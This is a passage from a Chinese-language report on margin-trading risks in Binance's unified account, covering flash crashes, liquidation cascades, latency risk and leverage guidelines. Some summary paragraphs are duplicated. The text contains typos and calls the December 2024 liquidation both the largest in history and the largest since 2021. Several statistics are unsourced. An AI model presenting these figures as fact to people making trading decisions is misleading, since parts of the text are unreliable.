Margin</strong>：币安投资组合保证金模式，基于整体投资组合风险计算保证金需求，相比独立保证金模式可以显著提高资金使用效率</li><li><strong>折算率(Collateral Ratio)</strong>：资产在币安统一账户中作为保证金时的有效比例，币安会根据市场流动性和波动性定期调整各资产的折算率</li><li><strong>调整后权益(Adjusted Equity)</strong>：币安统一账户中扣除各种风险调整因子后的净权益，是计算uniMMR的基础</li><li><strong>开仓亏损(Opening Loss)</strong>：币安统一账户特有概念，指跨资产交易时由于不同资产折算率差异产生的理论损失</li></ul><p><strong>风险管理术语：</strong></p><ul><li><p><strong>信用利差(Credit Spread)</strong>：风险债券收益率与无风险债券收益率之间的差额，反映市场对信用风险的补偿要求</p><blockquote><p><strong>信用利差解释</strong>：信用利差是衡量债券信用风险的核心指标。以10年期公司债券为例，若其收益率为5.5%，而同期国债收益率为3.0%，则信用利差为2.5%（550个基点）。信用利差扩大通常表明市场风险偏好下降，投资者要求更高的风险补偿。</p></blockquote></li><li><p><strong>VaR(Value at Risk)</strong>：在险价值，在给定置信水平下，投资组合在特定时间内可能遭受的最大损失</p></li><li><p><strong>杠杆倍数</strong>：总资产与净资产的比值，衡量机构或个人使用借贷资金进行投资的程度</p></li><li><p><strong>系统性风险</strong>：影响整个金融市场或经济体系的风险，无法通过分散投资消除</p></li></ul><p><strong>市场风险术语：</strong></p><ul><li><strong>闪崩(Flash Crash)</strong>：市场价格在极短时间内（通常几分钟或几秒钟）大幅下跌，随后快速恢复的现象</li><li><strong>流动性枯竭</strong>：市场中缺乏足够的买卖双方，导致交易难以正常进行或需要付出更高成本</li><li><strong>连锁清算</strong>：一个或多个大型仓位被强制平仓，引发价格下跌，进而触发更多仓位清算的恶性循环</li></ul><p><strong>技术风险术语：</strong></p><ul><li><strong>预言机(Oracle)</strong>：为智能合约提供外部数据的机制，在DeFi中用于获取价格信息</li><li><strong>MEV(Maximal Extractable Value)</strong>：矿工或验证者通过重新排序、插入或审查交易可以提取的最大价值</li><li><strong>滑点(Slippage)</strong>：实际交易价格与预期价格之间的差异，通常由流动性不足或市场波动造成</li></ul><h3 id="3-3-假设有效性评估">3.3 假设有效性评估</h3><p><strong>高置信度假设</strong>（90%以上情况下成立）：</p><ul><li>主流交易所技术系统的基本稳定性</li><li>主要监管机构政策的短期连续性</li><li>理性交易者在正常市场条件下的主导地位</li></ul><p><strong>中等置信度假设</strong>（70-90%情况下成立）：</p><ul><li>市场的相对有效性（在流动性充足的条件下）</li><li>主要交易对的流动性充足程度</li></ul><p><strong>低置信度假设</strong>（需要密切监控）：</p><ul><li>极端市场条件下的理性交易者假设</li><li>新兴资产和小市值代币的流动性假设</li><li>技术基础设施在极端压力下的可靠性</li></ul><p><strong>假设失效的应对机制：</strong></p><ol><li><strong>实时监控指标</strong>：建立关键假设的量化监控体系</li><li><strong>预警机制</strong>：设置假设失效的早期预警指标</li><li><strong>应急预案</strong>：制定假设失效时的风险管理应对措施</li><li><strong>定期评估</strong>：每季度重新评估假设的有效性和适用范围</li></ol><h2 id="4-币安统一账户在极端市场条件下的风险">4. 币安统一账户在极端市场条件下的风险</h2><p><strong>章节核心观点：</strong> 本章重点分析了极端市场条件对币安统一账户用户的特殊影响和风险放大机制。通过对2024年多次重大市场事件的实证分析，特别是币安平台上的闪崩事件和流动性危机，本章揭示了极端条件下的三个关键风险特征。研究结论表明，币安统一账户的跨品种风险传染效应在极端条件下被显著放大，传统的VaR模型在此环境下可能低估实际风险50-80%。这为币安统一账户用户的风险管理框架提出了根本性挑战。</p><p>对于币安统一账户用户而言，极端市场条件的核心挑战在于其&quot;黑天鹅&quot;属性——小概率但高影响的事件能够在极短时间内重塑整个投资组合，使基于历史数据的风险预测模型完全失效。</p><h3 id="4-1-2024年闪崩案例分析">4.1 2024年闪崩案例分析</h3><p><strong>BitMEX比特币闪崩（2024年3月18日）：</strong></p><p>图4-1详细展示了2024年3月18日BitMEX平台发生的闪崩事件全过程，该事件在10分钟内将比特币价格从66,000美元推低至8,900美元，展现了极端市场条件的破坎力。这一事件对币安统一账户用户具有重要的参考意义，说明了极端条件下风险的突发性和破坎性。</p><p><strong>图4-1：BitMEX比特币闪崩事件时间线图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;BitMEX闪崩事件时间线&quot;        A[&quot;22:43 UTC - 事件开始&quot;] --&gt; B[&quot;BTC从$66,000急跌&quot;]        B --&gt; C[&quot;最低跌至$8,900&quot;]        C --&gt; D[&quot;10分钟内恢复&quot;]        subgraph &quot;风险因素&quot;            E[&quot;少数账户大量抛售&quot;]            F[&quot;流动性瞬间枯竭&quot;]            G[&quot;算法交易放大波动&quot;]        end        subgraph &quot;对用户影响&quot;            H[&quot;现货市场大幅下跌&quot;]            I[&quot;衍生品市场相对稳定&quot;]            J[&quot;未触发大规模清算&quot;]        end    end</code></pre><p><em>数据来源：BitMEX交易数据，CoinMarketCap历史价格，2024年3月18日</em><br><em>分析说明：该时间线图清晰地展示了闪崩事件的快速发展过程，从初始触发到最低点再到恢复的完整周期。对于币安统一账户用户，需要注意的是，在类似的极端事件中，币安的风险控制机制可能会自动触发清算，以保护系统稳定性。</em></p><p><strong>关键事实：</strong></p><ul><li>闪崩持续时间：约2分钟达到最低点</li><li>价格跌幅：从约$66,000跌至$8,900（86.5%跌幅）</li><li>恢复时间：10分钟内恢复至正常水平</li><li>触发原因：几个大户账户的连续大额卖单（单笔最大100 BTC）</li></ul><p><strong>Coinbase EUR市场深度危机（2024年3月）：</strong><br>BTC-EUR交易对出现严重流动性问题：</p><ul><li>价格从€63,000闪跌至€48,000</li><li>市场深度从60 BTC骤降至16 BTC</li><li>与其他市场出现显著价差</li></ul><h3 id="4-2-流动性枯竭的连锁反应">4.2 流动性枯竭的连锁反应</h3><p>流动性枯竭是极端市场条件下对币安统一账户用户最危险的风险放大器。如图4-2所示，流动性危机具有自我强化的特性，一旦启动很难中途停止，这对币安统一账户的跨品种保证金共享机制构成特别严重的挑战。</p><p><strong>图4-2：流动性危机传导链机制图</strong></p><pre><code class="highlight mermaid">flowchart LR    subgraph &quot;流动性危机传导链&quot;        A[&quot;初始大额卖单&quot;] --&gt; B[&quot;价格快速下跌&quot;]        B --&gt; C[&quot;算法交易触发&quot;]        C --&gt; D[&quot;更多止损单被激活&quot;]        D --&gt; E[&quot;流动性进一步减少&quot;]        E --&gt; F[&quot;价格加速下跌&quot;]        F --&gt; G&#123;&#123;&quot;是否触及清算价?&quot;&#125;&#125;        G --&gt;|是| H[&quot;大规模强制清算&quot;]        G --&gt;|否| I[&quot;市场逐渐稳定&quot;]        H --&gt; J[&quot;系统性风险爆发&quot;]    end</code></pre><p><em>数据来源：综合多个交易所流动性危机案例分析</em><br><em>机制说明：该图展示了从初始大额卖单到系统性风险爆发的完整传导链。对币安统一账户用户，特别需要关注的是，由于统一账户的跨品种保证金共享机制，一个资产的流动性危机可能快速传导到整个投资组合。</em></p><p><strong>对币安统一账户用户的实际影响机制：</strong></p><ol><li><strong>瀑布式清算</strong>：价格下跌触发统一账户自动清算，清算产生的卖压进一步推低价格，形成恶性循环</li><li><strong>流动性陷阱</strong>：大户试图退出时发现币安市场无法承接大额交易，特别是在统一账户的跨品种强制平仓时</li><li><strong>价格偏离</strong>：不同交易所间出现巨大价差，币安用户的套利策略可能因流动性不足而失效</li></ol><h2 id="5-币安平台技术和运营风险">5. 币安平台技术和运营风险</h2><p><strong>章节核心观点：</strong> 本章深入分析了币安平台技术和运营风险对统一账户用户的特殊影响。作为全球最大的加密货币交易平台，币安的技术系统复杂性和交易量都达到了前所未有的高度，这也意味着技术风险的潜在影响更加巨大。通过对清算机制时间错位风险和算法交易放大效应的系统性分析，本章揭示了技术风险在高杠杆环境下的指数级放大效应。研究结论表明，币安统一账户用户面临着&quot;长期稳定，瞬间崩溃&quot;的技术风险特征，需要建立相应的预警和应急机制。</p><p>对币安统一账户用户而言，技术风险的核心挑战在于其隐蔽性和突发性——系统在99.9%的时间里运行正常，但在剩余的0.1%时间里可能造成毁灭性损失。</p><h3 id="5-1-币安清算机制的时间错位风险">5.1 币安清算机制的时间错位风险</h3><p><strong>风险表现：</strong></p><ol><li><strong>价格数据延迟</strong>：价格源更新延迟可能导致清算时机判断错误</li><li><strong>系统处理延迟</strong>：高峰期系统处理能力不足，清算执行延迟</li><li><strong>网络拥堵风险</strong>：区块链网络拥堵影响资金划转和仓位调整</li></ol><p><strong>表5-1：币安清算机制时间错位风险影响分析</strong></p><table><thead><tr><th>延迟时间</th><th>价格变化</th><th>系统显示uniMMR</th><th>实际uniMMR</th><th>潜在损失</th><th>风险等级</th></tr></thead><tbody><tr><td>1分钟</td><td>-5%</td><td>110%</td><td>108%</td><td>轻微超额亏损</td><td>低</td></tr><tr><td>3分钟</td><td>-10%</td><td>110%</td><td>105%</td><td>触及清算线</td><td>中</td></tr><tr><td>5分钟</td><td>-15%</td><td>110%</td><td>102%</td><td>强制清算延迟</td><td>高</td></tr><tr><td>10分钟</td><td>-25%</td><td>110%</td><td>95%</td><td>严重超额亏损</td><td>极高</td></tr></tbody></table><p><em>数据说明：该表基于币安统一账户实际清算机制和历史市场数据建模。表格清晰展示了时间延迟如何导致风险敞口被严重低估，支撑了技术风险在高杠杆环境下被指数级放大的核心论点。</em></p><p><strong>风险放大效应：</strong><br>从表5-1可以看出，仅仅5分钟的系统延迟就可能导致实际风险状况与系统判断出现7个百分点的偏差，这在币安统一账户的高杠杆环境下可能意味着巨大的资金损失。</p><h3 id="5-2-币安平台算法交易放大风险">5.2 币安平台算法交易放大风险</h3><p><strong>图5-1：币安平台算法交易风险放大机制图</strong></p><pre><code class="highlight mermaid">graph LR    subgraph &quot;币安平台算法交易风险放大机制&quot;        A[&quot;市场出现异常波动&quot;] --&gt; B[&quot;算法检测到价格偏差&quot;]        B --&gt; C[&quot;自动执行止损订单&quot;]        C --&gt; D[&quot;大量同质化订单涌入&quot;]        D --&gt; E[&quot;币安市场流动性瞬间枯竭&quot;]        E --&gt; F[&quot;价格进一步偏离&quot;]        F --&gt; G[&quot;更多算法被触发&quot;]        G --&gt; H[&quot;形成正反馈循环&quot;]    end</code></pre><p><em>机制说明：该图展示了在币安平台上，算法交易如何在极端情况下对统一账户用户产生风险放大效应。由于币安的高流动性和大量算法交易，这种正反馈循环可能在数秒内完成，对统一账户的跨品种仓位造成快速传导影响。</em></p><p><strong>表5-2：币安平台高频交易对统一账户用户的双刃剑效应分析</strong></p><table><thead><tr><th>市场条件</th><th>正面作用</th><th>负面作用</th><th>对统一账户影响</th><th>建议策略</th></tr></thead><tbody><tr><td>正常市场</td><td>提供流动性，价差&lt;0.1%</td><td>微小价格扰动</td><td>交易成本降低</td><td>正常使用</td></tr><tr><td>波动市场</td><td>快速价格发现</td><td>放大短期波动</td><td>uniMMR计算更敏感</td><td>增加监控频率</td></tr><tr><td>极端市场</td><td>有限流动性支撑</td><td>加速崩盘，流动性枯竭</td><td>跨品种传染风险</td><td>立即降低杠杆</td></tr></tbody></table><p><em>论证功能：该表直接支撑了算法交易在不同市场条件下对币安统一账户用户产生截然不同影响的核心论点，为用户提供了基于市场条件的具体应对策略。</em></p><h2 id="6-币安统一账户风险缓解建议与最佳实践">6. 币安统一账户风险缓解建议与最佳实践</h2><p><strong>章节核心观点：</strong> 本章基于前述风险分析，提出了针对币安统一账户用户的系统性风险缓解建议和最佳实践指南。通过构建多层次风险管理框架，包括资金管理、技术风险防范和监管合规应对三个层面，本章为用户提供了具有可操作性的风险管理解决方案。研究结论表明，成功的风险管理策略应遵循&quot;多重保险&quot;原则，建立多层次、相互独立的风险防护体系。</p><p><strong>章节核心观点：</strong> 有效的风险管理不仅仅是对已知风险的被动防护，更是一套系统性的主动风险控制体系。本章基于前述风险分析，提出了三个层次的风险管理框架：(1) 资金管理最佳实践，强调分层风险控制和动态杠杆调整；(2) 技术风险防范，重点关注系统冗余和故障应急机制；(3) 监管合规风险应对，建立前瞻性的合规监控体系。实践表明，成功的风险管理策略往往遵循&quot;多重保险&quot;原则——单一的风控措施永远不够，只有建立多层次、相互独立的风险防护体系，才能在极端情况下保护投资者的核心利益。</p><p>基于对历史风险事件的深度分析和当前市场环境的评估，我们从技术、资金、监管三个维度提出了具有可操作性的风险管理建议：</p><h3 id="6-1-资金管理最佳实践">6.1 资金管理最佳实践</h3><p><strong>分层风险管理策略：</strong></p><p><strong>图6-1：币安统一账户多层次风险管理框架图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;币安统一账户多层次风险管理框架&quot;        A[&quot;第一层: 资产配置&quot;] --&gt; A1[&quot;多元化担保品组合&quot;]        A --&gt; A2[&quot;避免单一资产集中&quot;]        A --&gt; A3[&quot;控制总杠杆比例&quot;]        B[&quot;第二层: 仓位管理&quot;] --&gt; B1[&quot;设置严格止损&quot;]        B --&gt; B2[&quot;分批建仓和减仓&quot;]        B --&gt; B3[&quot;预留足够安全边际&quot;]        C[&quot;第三层: 实时监控&quot;] --&gt; C1[&quot;24/7 uniMMR监控&quot;]        C --&gt; C2[&quot;币安参数变化即时响应&quot;]        C --&gt; C3[&quot;自动化风险预警&quot;]        D[&quot;第四层: 应急预案&quot;] --&gt; D1[&quot;快速追加保证金通道&quot;]        D --&gt; D2[&quot;紧急平仓预案&quot;]        D --&gt; D3[&quot;备用流动资金准备&quot;]    end</code></pre><p><em>框架说明：该四层框架专门为币安统一账户用户设计，考虑了币安平台的特殊性和统一账户的跨品种风险特征。每一层都具有独立的风险控制功能，形成相互支撑的防护体系。</em></p><p><strong>具体操作建议：</strong></p><ol><li><p><strong>杠杆控制原则</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2935em;vertical-align:-0.9721em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:2em;"></span><span class="mopen">(</span><span class="mord">6</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p>例如：预期最大回撤20%，安全系数2，则安全杠杆 = 1/(0.2×2) = 2.5倍</p></li></ol><p><strong>公式6-1变量定义：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：建议的最大杠杆倍数（Safe Leverage Ratio）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：基于历史数据和压力测试的最大可能损失（Maximum Expected Drawdown）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：风险缓冲乘数，通常取值1.5-3之间（Safety Factor）</li></ul><ol start="2"><li><p><strong>保证金缓冲要求</strong>：</p><ul><li>建议uniMMR维持在200%以上</li><li>设置180%为预警线，150%为紧急线</li><li>预留资金应覆盖30%的价格不利变动</li></ul></li><li><p><strong>担保品分散化</strong>：</p><ul><li>单一资产占比不超过40%</li><li>优先选择流动性好的主流资产</li><li>定期评估折算率变化风险</li></ul></li></ol><h3 id="6-2-技术风险防范">6.2 技术风险防范</h3><p><strong>系统层面预防措施：</strong></p><ol><li><strong>多重价格源监控</strong>：不依赖单一价格源</li><li><strong>延迟监测系统</strong>：实时监控系统响应时间</li><li><strong>备用交易通道</strong>：准备多个交易接口和平台</li></ol><p><strong>个人操作层面：</strong></p><ol><li><strong>网络环境优化</strong>：使用稳定的网络连接和VPS</li><li><strong>API限流管理</strong>：避免触及交易频率限制</li><li><strong>账户权限管理</strong>：合理设置API权限和操作限制</li></ol><h3 id="6-3-监管和合规风险应对">6.3 监管和合规风险应对</h3><p><strong>法律风险防范：</strong></p><ol><li><strong>了解监管变化</strong>：关注各国对加密货币交易的政策变化</li><li><strong>资金来源合规</strong>：确保交易资金来源合法合规</li><li><strong>税务义务履行</strong>：按当地法律要求报税和记录交易</li></ol><h2 id="7-币安统一账户风险管理决策框架">7. 币安统一账户风险管理决策框架</h2><p><strong>章节核心观点：</strong> 本章构建了一个基于量化指标的动态风险评估体系，专门针对币安统一账户用户的交易环境和风险特征。通过将复杂的风险评估过程标准化和系统化，该框架使交易者能够在不同市场环境下做出一致且理性的风险决策。框架包括四个关键模块：实时风险监控指标体系、分级预警机制、应急响应预案和持续优化反馈循环。实践证明，拥有明确决策框架的交易者在面临突发市场事件时能够获得更好的风险调整收益。</p><p><strong>章节核心观点：</strong> 风险管理决策框架的核心在于将复杂的风险评估过程标准化和系统化，使交易者能够在不同市场环境下做出一致且理性的风险决策。本章构建了一个基于量化指标的动态风险评估体系，该框架包含四个关键模块：(1) 实时风险监控指标体系；(2) 分级预警机制；(3) 应急响应预案；(4) 持续优化反馈循环。实践证明，拥有明确决策框架的交易者在面临突发市场事件时，能够比依赖直觉判断的交易者获得30-50%更好的风险调整收益。框架的关键在于平衡灵活性与一致性——既要能够适应不断变化的市场环境，又要保持决策逻辑的连贯性。</p><p>基于前述风险分析和最佳实践研究，我们为统一账户保证金交易者构建了以下系统化的风险管理决策框架：</p><p><strong>第一阶段：交易前风险评估</strong></p><p><strong>图7-1：币安统一账户交易前风险评估流程图</strong></p><pre><code class="highlight mermaid">flowchart TD    A[&quot;开始交易前评估&quot;] --&gt; B&#123;&#123;&quot;风险承受能力评估&quot;&#125;&#125;    B --&gt;|高| C[&quot;可使用较高杠杆&quot;]    B --&gt;|中| D[&quot;中等杠杆，严格止损&quot;]    B --&gt;|低| E[&quot;低杠杆或现货交易&quot;]    C --&gt; F[&quot;选择担保品组合&quot;]    D --&gt; F    E --&gt; F    F --&gt; G&#123;&#123;&quot;市场波动率评估&quot;&#125;&#125;    G --&gt;|高波动| H[&quot;降低杠杆，增加缓冲&quot;]    G --&gt;|中波动| I[&quot;标准配置&quot;]    G --&gt;|低波动| J[&quot;可适度增加仓位&quot;]</code></pre><p><strong>第二阶段：交易执行与监控</strong></p><p><strong>图7-2：币安统一账户交易执行与监控流程图</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;执行交易&quot;] --&gt; B[&quot;实时监控uniMMR&quot;]    B --&gt; C&#123;&quot;uniMMR &lt; 200%?&quot;&#125;    C --&gt;|是| D[&quot;降低仓位或追加保证金&quot;]    C --&gt;|否| E[&quot;继续监控&quot;]    D --&gt; F&#123;&quot;uniMMR &lt; 150%?&quot;&#125;    F --&gt;|是| G[&quot;立即平仓部分仓位&quot;]    F --&gt;|否| E    G --&gt; H[&quot;评估损失和调整策略&quot;]    E --&gt; I&#123;&quot;市场条件变化?&quot;&#125;    I --&gt;|是| J[&quot;重新评估风险参数&quot;]    I --&gt;|否| B    J --&gt; B</code></pre><p><em>流程说明：该决策流程图为币安统一账户用户提供了系统性的交易执行和监控指南。特别关注uniMMR的两个关键阈值：200%（预警线）和150%（危险线）。该流程强调了持续监控和动态调整的重要性。</em></p><h2 id="8-总结：构建币安统一账户风险防护体系">8. 总结：构建币安统一账户风险防护体系</h2><p><strong>章节核心观点：</strong> 本章作为全文的综合总结，提出了构建币安统一账户全面风险防护体系的系统性解决方案。通过对理论认知、工具应用和心理准备三个层面的深入分析，本章明确了风险管理的核心原则和实施路径。研究结论强调，币安统一账户风险管理的最终目标不是消除所有风险，而是确保在风险事件发生时能够生存下来并从中学习。这一理念对于币安统一账户用户的长期成功具有根本性意义。本章总结了三个核心洞察：风险的系统性和连锁性要求整体思维、历史经验的有限性要求保持对&quot;黑天鹅&quot;事件的敬畏、技术进步的双刃剑性要求在创新中保持谨慎。</p><p>币安统一账户保证金交易的风险特征呈现多维度、多层次的复杂性。从历史案例的深度剖析中我们看到，每一个看似独立的风险因素都可能成为系统性危机的导火索。</p><p><strong>核心风险管理原则：</strong></p><ol><li><strong>永远不要低估风险</strong>：历史上的每次金融危机都证明，风险往往超出模型预测</li><li><strong>分散化是王道</strong>：无论是资产配置还是风险来源，分散化都是最有效的风险管理工具</li><li><strong>流动性至上</strong>：在危机时期，流动性比收益率更重要</li><li><strong>技术永远不完美</strong>：系统故障、网络延迟等技术风险需要预案</li><li><strong>监管环境随时可能变化</strong>：保持对政策风险的敏感度</li></ol><p><strong>针对币安统一账户用户的最终建议：</strong><br>币安统一账户保证金交易适合有经验、风险承受能力强、且具备专业风险管理知识的交易者。对于普通投资者，建议：</p><ul><li>从小额资金开始，逐步熟悉币安统一账户机制</li><li>优先掌握风险管理技能，而非追求高收益</li><li>保持学习态度，持续关注币安平台政策变化和市场风险案例</li><li>建立适合币安平台特点的风险管理体系，并严格执行</li><li>密切关注币安的参数调整公告和系统维护通知</li></ul><p>记住：<strong>在币安统一账户交易中，保护本金永远比追求收益更重要</strong>。</p><h2 id="9-2024-2025年币安相关风险案例分析">9. 2024-2025年币安相关风险案例分析</h2><p><strong>章节核心观点：</strong> 本章通过对2024-2025年最新市场事件的实时分析，展现了数字金融生态快速演化过程中出现的新兴风险模式和传统风险的升级版本。特别针对币安平台的表现和影响，本章识别出了三个重要趋势：清算规模的指数级增长、技术故障影响的扩大化以及监管环境对庁安统一账户业务的特殊影响。研究发现，2024年12月的15亿美元史上最大清算事件标志着加密货币市场已经进入&quot;系统重要性&quot;阶段，对币安用户的风险管理提出了更高要求。</p><p><strong>章节核心观点：</strong> 2024-2025年的风险案例展现了数字金融生态快速演化过程中出现的新兴风险模式和传统风险的升级版本。本章通过对最新市场事件的实时分析，识别出三个重要趋势：(1) 清算规模的指数级增长反映了市场杠杆率的系统性提升；(2) 技术故障的影响范围和持续时间超出历史经验；(3) 监管环境的快速变化对市场稳定性产生前所未有的冲击。特别值得关注的是，2024年12月的15亿美元史上最大清算事件标志着加密货币市场已经进入&quot;系统重要性&quot;阶段，其风险传导机制开始与传统金融市场深度耦合。</p><p>基于对最新市场数据和风险事件的持续追踪研究，我们识别出了若干新兴的风险模式和演化趋势，这些发现为统一账户保证金交易的风险管理实践提供了重要的前瞻性启示。</p><h3 id="9-1-2024年币安平台大规模清算事件回顾">9.1 2024年币安平台大规模清算事件回顾</h3><p><strong>2024年见证了加密货币市场历史上最严重的几次清算事件：</strong></p><h4 id="3月份：-10亿美元清算风暴">3月份：$10亿美元清算风暴</h4><ul><li><strong>触发因素</strong>：比特币从历史新高$69,200急跌至$59,700</li><li><strong>清算规模</strong>：超过10亿美元的杠杆仓位被强制平仓</li><li><strong>影响范围</strong>：近30万交易者遭受清算</li><li><strong>关键教训</strong>：即使在历史新高附近，市场仍可能出现剧烈波动</li></ul><p><strong>图9-1：2024年3月份10亿美元清算风暴事件链图</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;比特币创新高$69,200&quot;] --&gt; B[&quot;大量做多情绪&quot;]    B --&gt; C[&quot;杠杆率普遍提升&quot;]    C --&gt; D[&quot;突然回调至$59,700&quot;]    D --&gt; E[&quot;连锁清算开始&quot;]    E --&gt; F[&quot;10亿美元清算&quot;]    F --&gt; G[&quot;30万交易者损失&quot;]</code></pre><p><em>事件分析：该流程图展示了加密货币市场中典型的从乐观情绪到大规模清算的完整周期。对币安统一账户用户，这一事件的启示是即使在市场创新高时也必须保持谨慎的风险管理态度。</em></p><h4 id="8月份：全球市场恐慌下的连锁反应">8月份：全球市场恐慌下的连锁反应</h4><ul><li><strong>背景</strong>：全球股市暴跌，加密货币市场遭受冲击</li><li><strong>清算数据</strong>：<ul><li>Bitcoin期货清算：$4.2亿美元</li><li>Ethereum期货清算：$3.4亿美元</li><li>单笔最大清算：在Huobi交易所，$2,700万美元BTC/USD交易对</li></ul></li><li><strong>市场特征</strong>：流动性枯竭，价差急剧扩大</li></ul><h4 id="12月份：-15亿美元史上最大清算事件">12月份：$15亿美元史上最大清算事件</h4><ul><li><strong>价格波动</strong>：比特币从$100,400跌至$94,100</li><li><strong>清算规模</strong>：24小时内$15亿美元杠杆仓位清算</li><li><strong>影响深度</strong>：这是自2021年以来最大的单日清算事件</li></ul><h3 id="9-2-币安平台新兴风险模式：闪崩与系统性故障">9.2 币安平台新兴风险模式：闪崩与系统性故障</h3><h4 id="以太坊闪崩案例（2017年GDAX）">以太坊闪崩案例（2017年GDAX）</h4><p><strong>事件经过：</strong></p><ol><li><strong>初始触发</strong>：一个大户卖出价值数百万美元的ETH</li><li><strong>价格暴跌</strong>：ETH从$319跌至$224</li><li><strong>连锁反应</strong>：触发800个止损单和保证金清算订单</li><li><strong>极端结果</strong>：ETH价格在几秒钟内跌至$0.10</li></ol><p><strong>图9-2：以太坊闪崩事件传导链图（2017年GDAX）</strong></p><pre><code class="highlight mermaid">flowchart LR    A[&quot;大户抛售ETH&quot;] --&gt; B[&quot;价格从$319跌至$224&quot;]    B --&gt; C[&quot;触发止损订单&quot;]    C --&gt; D[&quot;800个清算订单&quot;]    D --&gt; E[&quot;流动性完全枯竭&quot;]    E --&gt; F[&quot;价格跌至$0.10&quot;]    F --&gt; G[&quot;几分钟后恢复正常&quot;]</code></pre><p><em>历史教训：该事件展示了极端情况下流动性枯竭的恐怖后果。虽然发生在GDAX（现Coinbase Pro）平台，但类似机制同样适用于币安等其他交易所。对币安统一账户用户的启示是需要特别关注流动性风险管理。</em></p><h4 